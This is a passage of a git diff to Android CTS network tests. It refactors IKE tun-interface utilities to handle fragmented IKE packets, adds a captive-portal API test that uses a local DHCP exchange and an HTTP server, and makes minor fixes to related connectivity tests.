+            IpSecTransformCallRecord transformRecordA, IpSecTransformCallRecord transformRecordB) {
+        IpSecTransform transformA = transformRecordA.ipSecTransform;
+        IpSecTransform transformB = transformRecordB.ipSecTransform;
+
+        assertNotNull(transformA);
+        assertNotNull(transformB);
+
+        Set<Integer> expectedDirections = new HashSet<>();
+        expectedDirections.add(IpSecManager.DIRECTION_IN);
+        expectedDirections.add(IpSecManager.DIRECTION_OUT);
+
+        Set<Integer> resultDirections = new HashSet<>();
+        resultDirections.add(transformRecordA.direction);
+        resultDirections.add(transformRecordB.direction);
+
+        assertEquals(expectedDirections, resultDirections);
+    }
+
+    static void verifyDeleteIpSecTransformPair(
+            TestChildSessionCallback childCb,
+            IpSecTransformCallRecord expectedTransformRecordA,
+            IpSecTransformCallRecord expectedTransformRecordB) {
+        Set<IpSecTransformCallRecord> expectedTransforms = new HashSet<>();
+        expectedTransforms.add(expectedTransformRecordA);
+        expectedTransforms.add(expectedTransformRecordB);
+
+        Set<IpSecTransformCallRecord> resultTransforms = new HashSet<>();
+        resultTransforms.add(childCb.awaitNextDeletedIpSecTransform());
+        resultTransforms.add(childCb.awaitNextDeletedIpSecTransform());
+
+        assertEquals(expectedTransforms, resultTransforms);
+    }
+
+    /** Package private method to check if device has IPsec tunnels feature */
+    static boolean hasTunnelsFeature() {
+        return sContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_IPSEC_TUNNELS);
+    }
 
     // TODO(b/148689509): Verify hostname based creation
 }
diff --git a/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeTestBase.java b/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeTestBase.java
index f07c710..c70e537 100644
--- a/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeTestBase.java
+++ b/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeTestBase.java
@@ -54,7 +54,7 @@
     static final int SUB_ID = 1;
     static final byte[] EAP_IDENTITY = "test@android.net".getBytes();
     static final String NETWORK_NAME = "android.net";
-    static final String EAP_MSCHAPV2_USERNAME = "username";
+    static final String EAP_MSCHAPV2_USERNAME = "mschapv2user";
     static final String EAP_MSCHAPV2_PASSWORD = "password";
 
     static final Inet4Address IPV4_ADDRESS_LOCAL =
diff --git a/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeTunUtils.java b/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeTunUtils.java
index 5a8258d5..41cbf0b 100644
--- a/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeTunUtils.java
+++ b/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeTunUtils.java
@@ -26,6 +26,8 @@
 import static android.net.ipsec.ike.cts.PacketUtils.UdpHeader;
 import static android.system.OsConstants.IPPROTO_UDP;
 
+import static com.android.internal.util.HexDump.hexStringToByteArray;
+
 import static org.junit.Assert.fail;
 
 import android.os.ParcelFileDescriptor;
@@ -34,7 +36,10 @@
 import java.net.Inet6Address;
 import java.net.InetAddress;
 import java.nio.ByteBuffer;
+import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.List;
+import java.util.function.Predicate;
 
 public class IkeTunUtils extends TunUtils {
     private static final int PORT_LEN = 2;
@@ -42,63 +47,132 @@
     private static final int NON_ESP_MARKER_LEN = 4;
     private static final byte[] NON_ESP_MARKER = new byte[NON_ESP_MARKER_LEN];
 
-    private static final int IKE_HEADER_LEN = 28;
     private static final int IKE_INIT_SPI_OFFSET = 0;
+    private static final int IKE_FIRST_PAYLOAD_OFFSET = 16;
     private static final int IKE_IS_RESP_BYTE_OFFSET = 19;
     private static final int IKE_MSG_ID_OFFSET = 20;
+    private static final int IKE_HEADER_LEN = 28;
+    private static final int IKE_FRAG_NUM_OFFSET = 32;
+    private static final int IKE_PAYLOAD_TYPE_SKF = 53;
+
+    private static final int RSP_FLAG_MASK = 0x20;
 
     public IkeTunUtils(ParcelFileDescriptor tunFd) {
         super(tunFd);
     }
 
     /**
-     * Await the expected IKE request and inject an IKE response.
+     * Await the expected IKE request inject an IKE response (or a list of response fragments)
      *
-     * @param respIkePkt IKE response packet without IP/UDP headers or NON ESP MARKER.
+     * @param ikeRespDataFragmentsHex IKE response hex (or a list of response fragments) without
+     *     IP/UDP headers or NON ESP MARKER.
      */
     public byte[] awaitReqAndInjectResp(
-            long expectedInitIkeSpi, int expectedMsgId, boolean expectedUseEncap, byte[] respIkePkt)
+            long expectedInitIkeSpi,
+            int expectedMsgId,
+            boolean expectedUseEncap,
+            String... ikeRespDataFragmentsHex)
             throws Exception {
-        byte[] request =
-                awaitIkePacket(
+        return awaitReqAndInjectResp(
                         expectedInitIkeSpi,
                         expectedMsgId,
-                        false /* expectedResp */,
-                        expectedUseEncap);
+                        expectedUseEncap,
+                        1 /* expectedReqPktCnt */,
+                        ikeRespDataFragmentsHex)
+                .get(0);
+    }
+
+    /**
+     * Await the expected IKE request (or the list of IKE request fragments) and inject an IKE
+     * response (or a list of response fragments)
+     *
+     * @param ikeRespDataFragmentsHex IKE response hex (or a list of response fragments) without
+     *     IP/UDP headers or NON ESP MARKER.
+     */
+    public List<byte[]> awaitReqAndInjectResp(
+            long expectedInitIkeSpi,
+            int expectedMsgId,
+            boolean expectedUseEncap,
+            int expectedReqPktCnt,
+            String... ikeRespDataFragmentsHex)
+            throws Exception {
+        List<byte[]> reqList = new ArrayList<>(expectedReqPktCnt);
+        if (expectedReqPktCnt == 1) {
+            // Expecting one complete IKE packet
+            byte[] req =
+                    awaitIkePacket(
+                            (pkt) -> {
+                                return isExpectedIkePkt(
+                                        pkt,
+                                        expectedInitIkeSpi,
+                                        expectedMsgId,
+                                        false /* expectedResp */,
+                                        expectedUseEncap);
+                            });
+            reqList.add(req);
+        } else {
+            // Expecting "expectedReqPktCnt" number of request fragments
+            for (int i = 0; i < expectedReqPktCnt; i++) {
+                // IKE Fragment number always starts from 1
+                int expectedFragNum = i + 1;
+                byte[] req =
+                        awaitIkePacket(
+                                (pkt) -> {
+                                    return isExpectedIkeFragPkt(
+                                            pkt,
+                                            expectedInitIkeSpi,
+                                            expectedMsgId,
+                                            false /* expectedResp */,
+                                            expectedUseEncap,
+                                            expectedFragNum);
+                                });
+                reqList.add(req);
+            }
+        }
+
+        // All request fragments have the same addresses and ports
+        byte[] request = reqList.get(0);
 
         // Build response header by flipping address and port
         InetAddress srcAddr = getAddress(request, false /* shouldGetSource */);
         InetAddress dstAddr = getAddress(request, true /* shouldGetSource */);
         int srcPort = getPort(request, false /* shouldGetSource */);
         int dstPort = getPort(request, true /* shouldGetSource */);
+        for (String resp : ikeRespDataFragmentsHex) {
+            byte[] response =
+                    buildIkePacket(
+                            srcAddr,
+                            dstAddr,
+                            srcPort,
+                            dstPort,
+                            expectedUseEncap,
+                            hexStringToByteArray(resp));
+            injectPacket(response);
+        }
 
-        byte[] response =
-                buildIkePacket(srcAddr, dstAddr, srcPort, dstPort, expectedUseEncap, respIkePkt);
-        injectPacket(response);
-        return request;
+        return reqList;
     }
 
-    private byte[] awaitIkePacket(
-            long expectedInitIkeSpi,
-            int expectedMsgId,
-            boolean expectedResp,
-            boolean expectedUseEncap)
+    /** Await the expected IKE response */
+    public byte[] awaitResp(long expectedInitIkeSpi, int expectedMsgId, boolean expectedUseEncap)
             throws Exception {
+        return awaitIkePacket(
+                (pkt) -> {
+                    return isExpectedIkePkt(
+                            pkt,
+                            expectedInitIkeSpi,
+                            expectedMsgId,
+                            true /* expectedResp*/,
+                            expectedUseEncap);
+                });
+    }
+
+    private byte[] awaitIkePacket(Predicate<byte[]> pktVerifier) throws Exception {
         long endTime = System.currentTimeMillis() + TIMEOUT;
         int startIndex = 0;
         synchronized (mPackets) {
             while (System.currentTimeMillis() < endTime) {
-                byte[] ikePkt =
-                        getFirstMatchingPacket(
-                                (pkt) -> {
-                                    return isIke(
-                                            pkt,
-                                            expectedInitIkeSpi,
-                                            expectedMsgId,
-                                            expectedResp,
-                                            expectedUseEncap);
-                                },
-                                startIndex);
+                byte[] ikePkt = getFirstMatchingPacket(pktVerifier, startIndex);
                 if (ikePkt != null) {
                     return ikePkt; // We've found the packet we're looking for.
                 }
@@ -112,49 +186,51 @@
                 }
             }
 
-            String direction = expectedResp ? "response" : "request";
-            fail(
-                    "No such IKE "
-                            + direction
-                            + " found with Initiator SPI "
-                            + expectedInitIkeSpi
-                            + " and message ID "
-                            + expectedMsgId);
+            fail("No matching packet found");
         }
-        return null;
+
+        throw new IllegalStateException(
+                "Hit an impossible case where fail() didn't throw an exception");
     }
 
-    private static boolean isIke(
+    private static boolean isExpectedIkePkt(
             byte[] pkt,
             long expectedInitIkeSpi,
             int expectedMsgId,
             boolean expectedResp,
             boolean expectedUseEncap) {
-        int ipProtocolOffset = 0;
-        int ikeOffset = 0;
-        if (isIpv6(pkt)) {
-            // IPv6 UDP expectedUseEncap not supported by kernels; assume non-expectedUseEncap.
-            ipProtocolOffset = IP6_PROTO_OFFSET;
-            ikeOffset = IP6_HDRLEN + UDP_HDRLEN;
-        } else {
-            // Use default IPv4 header length (assuming no options)
-            ipProtocolOffset = IP4_PROTO_OFFSET;
-            ikeOffset = IP4_HDRLEN + UDP_HDRLEN;
-
-            if (expectedUseEncap) {
-                if (hasNonEspMarker(pkt)) {
-                    ikeOffset += NON_ESP_MARKER_LEN;
-                } else {
-                    return false;
-                }
-            }
-        }
+        int ipProtocolOffset = isIpv6(pkt) ? IP6_PROTO_OFFSET : IP4_PROTO_OFFSET;
+        int ikeOffset = getIkeOffset(pkt, expectedUseEncap);
 
         return pkt[ipProtocolOffset] == IPPROTO_UDP
-                && areSpiAndMsgIdEqual(
+                && expectedUseEncap == hasNonEspMarker(pkt)
+                && isExpectedSpiAndMsgId(
                         pkt, ikeOffset, expectedInitIkeSpi, expectedMsgId, expectedResp);
     }
 
+    private static boolean isExpectedIkeFragPkt(
+            byte[] pkt,
+            long expectedInitIkeSpi,
+            int expectedMsgId,
+            boolean expectedResp,
+            boolean expectedUseEncap,
+            int expectedFragNum) {
+        return isExpectedIkePkt(
+                        pkt, expectedInitIkeSpi, expectedMsgId, expectedResp, expectedUseEncap)
+                && isExpectedFragNum(pkt, getIkeOffset(pkt, expectedUseEncap), expectedFragNum);
+    }
+
+    private static int getIkeOffset(byte[] pkt, boolean useEncap) {
+        if (isIpv6(pkt)) {
+            // IPv6 UDP expectedUseEncap not supported by kernels; assume non-expectedUseEncap.
+            return IP6_HDRLEN + UDP_HDRLEN;
+        } else {
+            // Use default IPv4 header length (assuming no options)
+            int ikeOffset = IP4_HDRLEN + UDP_HDRLEN;
+            return useEncap ? ikeOffset + NON_ESP_MARKER_LEN : ikeOffset;
+        }
+    }
+
     private static boolean hasNonEspMarker(byte[] pkt) {
         ByteBuffer buffer = ByteBuffer.wrap(pkt);
         int ikeOffset = IP4_HDRLEN + UDP_HDRLEN;
@@ -168,23 +244,81 @@
         return Arrays.equals(NON_ESP_MARKER, nonEspMarker);
     }
 
-    private static boolean areSpiAndMsgIdEqual(
+    private static boolean isExpectedSpiAndMsgId(
             byte[] pkt,
             int ikeOffset,
-            long expectedIkeInitSpi,
+            long expectedInitIkeSpi,
             int expectedMsgId,
             boolean expectedResp) {
         if (pkt.length <= ikeOffset + IKE_HEADER_LEN) return false;
 
         ByteBuffer buffer = ByteBuffer.wrap(pkt);
         buffer.get(new byte[ikeOffset]); // Skip IP, UDP header (and NON_ESP_MARKER)
+        buffer.mark(); // Mark this position so that later we can reset back here
 
-        // Check message ID.
+        // Check SPI
+        buffer.get(new byte[IKE_INIT_SPI_OFFSET]);
+        long initSpi = buffer.getLong();
+        if (expectedInitIkeSpi != initSpi) {
+            return false;
+        }
+
+        // Check direction
+        buffer.reset();
+        buffer.get(new byte[IKE_IS_RESP_BYTE_OFFSET]);
+        byte flagsByte = buffer.get();
+        boolean isResp = ((flagsByte & RSP_FLAG_MASK) != 0);
+        if (expectedResp != isResp) {
+            return false;
+        }
+
+        // Check message ID
+        buffer.reset();
         buffer.get(new byte[IKE_MSG_ID_OFFSET]);
-        int msgId = buffer.getInt();
-        return expectedMsgId == msgId;
 
-        // TODO: Check SPI and packet direction
+        // Both the expected message ID and the packet's msgId are signed integers, so directly
+        // compare them.
+        int msgId = buffer.getInt();
+        if (expectedMsgId != msgId) {
+            return false;
+        }
+
+        return true;
+    }
+
+    private static boolean isExpectedFragNum(byte[] pkt, int ikeOffset, int expectedFragNum) {
+        ByteBuffer buffer = ByteBuffer.wrap(pkt);
+        buffer.get(new byte[ikeOffset]);
+        buffer.mark(); // Mark this position so that later we can reset back here
+
+        // Check if it is a fragment packet
+        buffer.get(new byte[IKE_FIRST_PAYLOAD_OFFSET]);
+        int firstPayload = Byte.toUnsignedInt(buffer.get());
+        if (firstPayload != IKE_PAYLOAD_TYPE_SKF) {
+            return false;
+        }
+
+        // Check fragment number
+        buffer.reset();
+        buffer.get(new byte[IKE_FRAG_NUM_OFFSET]);
+        int fragNum = Short.toUnsignedInt(buffer.getShort());
+        return expectedFragNum == fragNum;
+    }
+
+    public static class PortPair {
+        public final int srcPort;
+        public final int dstPort;
+
+        public PortPair(int sourcePort, int destinationPort) {
+            srcPort = sourcePort;
+            dstPort = destinationPort;
+        }
+    }
+
+    public static PortPair getSrcDestPortPair(byte[] outboundIkePkt) throws Exception {
+        return new PortPair(
+                getPort(outboundIkePkt, true /* shouldGetSource */),
+                getPort(outboundIkePkt, false /* shouldGetSource */));
     }
 
     private static InetAddress getAddress(byte[] pkt, boolean shouldGetSource) throws Exception {
@@ -208,7 +342,7 @@
         return Short.toUnsignedInt(buffer.getShort());
     }
 
-    private static byte[] buildIkePacket(
+    public static byte[] buildIkePacket(
             InetAddress srcAddr,
             InetAddress dstAddr,
             int srcPort,
diff --git a/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/TunUtils.java b/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/TunUtils.java
index cb1d826..5539dbc 100644
--- a/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/TunUtils.java
+++ b/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/TunUtils.java
@@ -47,7 +47,7 @@
     private static final String TAG = TunUtils.class.getSimpleName();
 
     private static final int DATA_BUFFER_LEN = 4096;
-    static final int TIMEOUT = 100;
+    static final int TIMEOUT = 500;
 
     static final int IP4_PROTO_OFFSET = 9;
     static final int IP6_PROTO_OFFSET = 6;
diff --git a/tests/tests/net/jarjar-rules-shared.txt b/tests/tests/net/jarjar-rules-shared.txt
new file mode 100644
index 0000000..11dba74
--- /dev/null
+++ b/tests/tests/net/jarjar-rules-shared.txt
@@ -0,0 +1,2 @@
+# Module library in frameworks/libs/net
+rule com.android.net.module.util.** android.net.cts.util.@1
\ No newline at end of file
diff --git a/tests/tests/net/src/android/net/cts/CaptivePortalApiTest.kt b/tests/tests/net/src/android/net/cts/CaptivePortalApiTest.kt
new file mode 100644
index 0000000..ef2b0ce
--- /dev/null
+++ b/tests/tests/net/src/android/net/cts/CaptivePortalApiTest.kt
@@ -0,0 +1,270 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.cts
+
+import android.Manifest.permission.MANAGE_TEST_NETWORKS
+import android.Manifest.permission.NETWORK_SETTINGS
+import android.content.Context
+import android.net.ConnectivityManager
+import android.net.EthernetManager
+import android.net.InetAddresses
+import android.net.NetworkCapabilities.NET_CAPABILITY_CAPTIVE_PORTAL
+import android.net.NetworkCapabilities.NET_CAPABILITY_TRUSTED
+import android.net.NetworkCapabilities.TRANSPORT_ETHERNET
+import android.net.NetworkRequest
+import android.net.TestNetworkInterface
+import android.net.TestNetworkManager
+import android.net.Uri
+import android.net.dhcp.DhcpDiscoverPacket
+import android.net.dhcp.DhcpPacket
+import android.net.dhcp.DhcpPacket.DHCP_MESSAGE_TYPE
+import android.net.dhcp.DhcpPacket.DHCP_MESSAGE_TYPE_DISCOVER
+import android.net.dhcp.DhcpPacket.DHCP_MESSAGE_TYPE_REQUEST
+import android.net.dhcp.DhcpRequestPacket
+import android.os.Build
+import android.os.HandlerThread
+import android.platform.test.annotations.AppModeFull
+import androidx.test.platform.app.InstrumentationRegistry
+import androidx.test.runner.AndroidJUnit4
+import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
+import com.android.compatibility.common.util.ThrowingRunnable
+import com.android.net.module.util.Inet4AddressUtils.getBroadcastAddress
+import com.android.net.module.util.Inet4AddressUtils.getPrefixMaskAsInet4Address
+import com.android.server.util.NetworkStackConstants.IPV4_ADDR_ANY
+import com.android.testutils.DevSdkIgnoreRule
+import com.android.testutils.DhcpClientPacketFilter
+import com.android.testutils.DhcpOptionFilter
+import com.android.testutils.RecorderCallback.CallbackEntry
+import com.android.testutils.TapPacketReader
+import com.android.testutils.TestableNetworkCallback
+import fi.iki.elonen.NanoHTTPD
+import org.junit.After
+import org.junit.Assume.assumeFalse
+import org.junit.Before
+import org.junit.Rule
+import org.junit.Test
+import org.junit.runner.RunWith
+import java.net.Inet4Address
+import java.util.concurrent.ArrayBlockingQueue
+import java.util.concurrent.TimeUnit
+import kotlin.test.assertEquals
+import kotlin.test.assertNotNull
+import kotlin.test.assertTrue
+import kotlin.test.fail
+
+private const val MAX_PACKET_LENGTH = 1500
+private const val TEST_TIMEOUT_MS = 10_000L
+
+private const val TEST_LEASE_TIMEOUT_SECS = 3600 * 12
+private const val TEST_PREFIX_LENGTH = 24
+
+private const val TEST_LOGIN_URL = "https://login.capport.android.com"
+private const val TEST_VENUE_INFO_URL = "https://venueinfo.capport.android.com"
+private const val TEST_DOMAIN_NAME = "lan"
+private const val TEST_MTU = 1500.toShort()
+
+@AppModeFull(reason = "Instant apps cannot create test networks")
+@RunWith(AndroidJUnit4::class)
+class CaptivePortalApiTest {
+    @JvmField
+    @Rule
+    val ignoreRule = DevSdkIgnoreRule(ignoreClassUpTo = Build.VERSION_CODES.Q)
+
+    private val context by lazy { InstrumentationRegistry.getInstrumentation().context }
+    private val tnm by lazy { context.assertHasService(TestNetworkManager::class.java) }
+    private val eth by lazy { context.assertHasService(EthernetManager::class.java) }
+    private val cm by lazy { context.assertHasService(ConnectivityManager::class.java) }
+
+    private val handlerThread = HandlerThread(CaptivePortalApiTest::class.java.simpleName)
+    private val serverIpAddr = InetAddresses.parseNumericAddress("192.0.2.222") as Inet4Address
+    private val clientIpAddr = InetAddresses.parseNumericAddress("192.0.2.111") as Inet4Address
+    private val httpServer = HttpServer()
+    private val ethRequest = NetworkRequest.Builder()
+            // ETHERNET|TEST transport networks do not have NET_CAPABILITY_TRUSTED
+            .removeCapability(NET_CAPABILITY_TRUSTED)
+            .addTransportType(TRANSPORT_ETHERNET).build()
+    private val ethRequestCb = TestableNetworkCallback()
+
+    private lateinit var iface: TestNetworkInterface
+    private lateinit var reader: TapPacketReader
+    private lateinit var capportUrl: Uri
+
+    private var testSkipped = false
+
+    @Before
+    fun setUp() {
+        // This test requires using a tap interface as the default ethernet interface: skip if there
+        // is already an ethernet interface connected.
+        testSkipped = eth.isAvailable()
+        assumeFalse(testSkipped)
+
+        // Register a request so the network does not get torn down
+        cm.requestNetwork(ethRequest, ethRequestCb)
+        runAsShell(NETWORK_SETTINGS, MANAGE_TEST_NETWORKS) {
+            eth.setIncludeTestInterfaces(true)
+            // Keeping a reference to the test interface also makes sure the ParcelFileDescriptor
+            // does not go out of scope, which would cause it to close the underlying FileDescriptor
+            // in its finalizer.
+            iface = tnm.createTapInterface()
+        }
+
+        handlerThread.start()
+        reader = TapPacketReader(
+                handlerThread.threadHandler,
+                iface.fileDescriptor.fileDescriptor,
+                MAX_PACKET_LENGTH)
+        handlerThread.threadHandler.post { reader.start() }
+        httpServer.start()
+
+        // Pad the listening port to make sure it is always of length 5. This ensures the URL has
+        // always the same length so the test can use constant IP and UDP header lengths.
+        // The maximum port number is 65535 so a length of 5 is always enough.
+        capportUrl = Uri.parse("http://localhost:${httpServer.listeningPort}/testapi.html?par=val")
+    }
+
+    @After
+    fun tearDown() {
+        if (testSkipped) return
+        cm.unregisterNetworkCallback(ethRequestCb)
+
+        runAsShell(NETWORK_SETTINGS) { eth.setIncludeTestInterfaces(false) }
+
+        httpServer.stop()
+        handlerThread.threadHandler.post { reader.stop() }
+        handlerThread.quitSafely()
+
+        iface.fileDescriptor.close()
+    }
+
+    @Test
+    fun testApiCallbacks() {
+        // Handle the DHCP handshake that includes the capport API URL
+        val discover = reader.assertDhcpPacketReceived(
+                DhcpDiscoverPacket::class.java, TEST_TIMEOUT_MS, DHCP_MESSAGE_TYPE_DISCOVER)
+        reader.sendResponse(makeOfferPacket(discover.clientMac, discover.transactionId))
+
+        val request = reader.assertDhcpPacketReceived(
+                DhcpRequestPacket::class.java, TEST_TIMEOUT_MS, DHCP_MESSAGE_TYPE_REQUEST)
+        assertEquals(discover.transactionId, request.transactionId)
+        assertEquals(clientIpAddr, request.mRequestedIp)
+        reader.sendResponse(makeAckPacket(request.clientMac, request.transactionId))
+
+        // Expect a request to the capport API
+        val capportReq = httpServer.recordedRequests.poll(TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS)
+        assertNotNull(capportReq, "The device did not fetch captive portal API data within timeout")
+        assertEquals(capportUrl.path, capportReq.uri)
+        assertEquals(capportUrl.query, capportReq.queryParameterString)
+
+        // Expect network callbacks with capport info
+        val testCb = TestableNetworkCallback(TEST_TIMEOUT_MS)
+        // LinkProperties do not contain captive portal info if the callback is registered without
+        // NETWORK_SETTINGS permissions.
+        val lp = runAsShell(NETWORK_SETTINGS) {
+            cm.registerNetworkCallback(ethRequest, testCb)
+
+            try {
+                val ncCb = testCb.eventuallyExpect<CallbackEntry.CapabilitiesChanged> {
+                    it.caps.hasCapability(NET_CAPABILITY_CAPTIVE_PORTAL)
+                }
+                testCb.eventuallyExpect<CallbackEntry.LinkPropertiesChanged> {
+                    it.network == ncCb.network && it.lp.captivePortalData != null
+                }.lp
+            } finally {
+                cm.unregisterNetworkCallback(testCb)
+            }
+        }
+
+        assertEquals(capportUrl, lp.captivePortalApiUrl)
+        with(lp.captivePortalData) {
+            assertNotNull(this)
+            assertTrue(isCaptive)
+            assertEquals(Uri.parse(TEST_LOGIN_URL), userPortalUrl)
+            assertEquals(Uri.parse(TEST_VENUE_INFO_URL), venueInfoUrl)
+        }
+    }
+
+    private fun makeOfferPacket(clientMac: ByteArray, transactionId: Int) =
+            DhcpPacket.buildOfferPacket(DhcpPacket.ENCAP_L2, transactionId,
+                    false /* broadcast */, serverIpAddr, IPV4_ADDR_ANY /* relayIp */, clientIpAddr,
+                    clientMac, TEST_LEASE_TIMEOUT_SECS,
+                    getPrefixMaskAsInet4Address(TEST_PREFIX_LENGTH),
+                    getBroadcastAddress(clientIpAddr, TEST_PREFIX_LENGTH),
+                    listOf(serverIpAddr) /* gateways */, listOf(serverIpAddr) /* dnsServers */,
+                    serverIpAddr, TEST_DOMAIN_NAME, null /* hostname */, true /* metered */,
+                    TEST_MTU, capportUrl.toString())
+
+    private fun makeAckPacket(clientMac: ByteArray, transactionId: Int) =
+            DhcpPacket.buildAckPacket(DhcpPacket.ENCAP_L2, transactionId,
+                    false /* broadcast */, serverIpAddr, IPV4_ADDR_ANY /* relayIp */, clientIpAddr,
+                    clientIpAddr /* requestClientIp */, clientMac, TEST_LEASE_TIMEOUT_SECS,
+                    getPrefixMaskAsInet4Address(TEST_PREFIX_LENGTH),
+                    getBroadcastAddress(clientIpAddr, TEST_PREFIX_LENGTH),
+                    listOf(serverIpAddr) /* gateways */, listOf(serverIpAddr) /* dnsServers */,
+                    serverIpAddr, TEST_DOMAIN_NAME, null /* hostname */, true /* metered */,
+                    TEST_MTU, false /* rapidCommit */, capportUrl.toString())
+
+    private fun parseDhcpPacket(bytes: ByteArray) = DhcpPacket.decodeFullPacket(
+            bytes, MAX_PACKET_LENGTH, DhcpPacket.ENCAP_L2)
+}
+
+/**
+ * A minimal HTTP server running on localhost (loopback), on a random available port.
+ *
+ * The server records each request in [recordedRequests] and will not serve any further request
+ * until the last one is removed from the queue for verification.
+ */
+private class HttpServer : NanoHTTPD("localhost", 0 /* auto-select the port */) {
+    val recordedRequests = ArrayBlockingQueue<IHTTPSession>(1 /* capacity */)
+
+    override fun serve(session: IHTTPSession): Response {
+        recordedRequests.offer(session)
+        return newFixedLengthResponse("""
+                |{
+                |  "captive": true,
+                |  "user-portal-url": "$TEST_LOGIN_URL",
+                |  "venue-info-url": "$TEST_VENUE_INFO_URL"
+                |}
+            """.trimMargin())
+    }
+}
+
+private fun <T : DhcpPacket> TapPacketReader.assertDhcpPacketReceived(
+    packetType: Class<T>,
+    timeoutMs: Long,
+    type: Byte
+): T {
+    val packetBytes = popPacket(timeoutMs, DhcpClientPacketFilter()
+            .and(DhcpOptionFilter(DHCP_MESSAGE_TYPE, type)))
+            ?: fail("${packetType.simpleName} not received within timeout")
+    val packet = DhcpPacket.decodeFullPacket(packetBytes, packetBytes.size, DhcpPacket.ENCAP_L2)
+    assertTrue(packetType.isInstance(packet),
+            "Expected ${packetType.simpleName} but got ${packet.javaClass.simpleName}")
+    return packetType.cast(packet)
+}
+
+private fun <T> Context.assertHasService(manager: Class<T>): T {
+    return getSystemService(manager) ?: fail("Service $manager not found")
+}
+
+/**
+ * Wrapper around runWithShellPermissionIdentity with kotlin-like syntax.
+ */
+private fun <T> runAsShell(vararg permissions: String, task: () -> T): T {
+    var ret: T? = null
+    runWithShellPermissionIdentity(ThrowingRunnable { ret = task() }, *permissions)
+    return ret ?: fail("ThrowingRunnable was not run")
+}
diff --git a/tests/tests/net/src/android/net/cts/CaptivePortalTest.kt b/tests/tests/net/src/android/net/cts/CaptivePortalTest.kt
index 0816aba..4a7d38a1 100644
--- a/tests/tests/net/src/android/net/cts/CaptivePortalTest.kt
+++ b/tests/tests/net/src/android/net/cts/CaptivePortalTest.kt
@@ -41,6 +41,7 @@
 import androidx.test.platform.app.InstrumentationRegistry.getInstrumentation
 import androidx.test.runner.AndroidJUnit4
 import com.android.compatibility.common.util.SystemUtil
+import com.android.testutils.isDevSdkInRange
 import fi.iki.elonen.NanoHTTPD
 import fi.iki.elonen.NanoHTTPD.Response.IStatus
 import fi.iki.elonen.NanoHTTPD.Response.Status
@@ -105,6 +106,9 @@
     @After
     fun tearDown() {
         clearTestUrls()
+        if (pm.hasSystemFeature(FEATURE_WIFI)) {
+            reconnectWifi()
+        }
         server.stop()
     }
 
@@ -167,7 +171,7 @@
             assertNotEquals(network, cm.activeNetwork, wifiDefaultMessage)
 
             val startPortalAppPermission =
-                    if (Build.VERSION.SDK_INT == Build.VERSION_CODES.Q) CONNECTIVITY_INTERNAL
+                    if (isDevSdkInRange(0, Build.VERSION_CODES.Q)) CONNECTIVITY_INTERNAL
                     else NETWORK_SETTINGS
             doAsShell(startPortalAppPermission) { cm.startCaptivePortalApp(network) }
             assertTrue(portalContentRequestCv.block(TEST_TIMEOUT_MS), "The captive portal login " +
@@ -180,9 +184,6 @@
             // disconnectFromCell should be called after connectToCell
             utils.disconnectFromCell()
         }
-
-        clearTestUrls()
-        reconnectWifi()
     }
 
     private fun setHttpsUrl(url: String?) = setConfig(TEST_CAPTIVE_PORTAL_HTTPS_URL_SETTING, url)
@@ -203,10 +204,8 @@
     }
 
     private fun reconnectWifi() {
-        doAsShell(NETWORK_SETTINGS) {
-            assertTrue(wm.disconnect())
-            assertTrue(wm.reconnect())
-        }
+        utils.ensureWifiDisconnected(null /* wifiNetworkToCheck */)
+        utils.ensureWifiConnected()
     }
 
     /**
diff --git a/tests/tests/net/src/android/net/cts/ConnectivityDiagnosticsManagerTest.java b/tests/tests/net/src/android/net/cts/ConnectivityDiagnosticsManagerTest.java
index 9d35705..8f42f79 100644
--- a/tests/tests/net/src/android/net/cts/ConnectivityDiagnosticsManagerTest.java
+++ b/tests/tests/net/src/android/net/cts/ConnectivityDiagnosticsManagerTest.java
@@ -16,56 +16,279 @@
 
 package android.net.cts;
 
+import static android.content.pm.PackageManager.FEATURE_TELEPHONY;
 import static android.net.ConnectivityDiagnosticsManager.ConnectivityDiagnosticsCallback;
+import static android.net.ConnectivityDiagnosticsManager.ConnectivityReport;
+import static android.net.ConnectivityDiagnosticsManager.ConnectivityReport.KEY_NETWORK_PROBES_ATTEMPTED_BITMASK;
+import static android.net.ConnectivityDiagnosticsManager.ConnectivityReport.KEY_NETWORK_PROBES_SUCCEEDED_BITMASK;
+import static android.net.ConnectivityDiagnosticsManager.ConnectivityReport.KEY_NETWORK_VALIDATION_RESULT;
+import static android.net.ConnectivityDiagnosticsManager.ConnectivityReport.NETWORK_VALIDATION_RESULT_VALID;
+import static android.net.ConnectivityDiagnosticsManager.DataStallReport;
+import static android.net.ConnectivityDiagnosticsManager.DataStallReport.DETECTION_METHOD_DNS_EVENTS;
+import static android.net.ConnectivityDiagnosticsManager.DataStallReport.DETECTION_METHOD_TCP_METRICS;
+import static android.net.ConnectivityDiagnosticsManager.DataStallReport.KEY_DNS_CONSECUTIVE_TIMEOUTS;
+import static android.net.ConnectivityDiagnosticsManager.DataStallReport.KEY_TCP_METRICS_COLLECTION_PERIOD_MILLIS;
+import static android.net.ConnectivityDiagnosticsManager.DataStallReport.KEY_TCP_PACKET_FAIL_RATE;
